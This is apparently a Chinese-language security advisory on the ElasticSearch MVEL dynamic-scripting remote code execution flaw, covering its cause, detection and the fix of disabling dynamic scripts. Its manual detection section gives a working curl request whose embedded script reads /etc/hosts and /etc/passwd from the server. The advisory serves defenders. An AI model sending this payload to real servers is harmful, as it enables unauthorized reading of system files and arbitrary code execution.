原理
这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
其实官方是清楚这个漏洞的,在文档里有说明:
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
检测方法
在线检测:
http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检测:
curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"/etc/hosts": {
"script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
},
"/etc/passwd": {
"script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
}
}
}
'
处理办法
关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:
script.disable_dynamic: true
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853
参考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/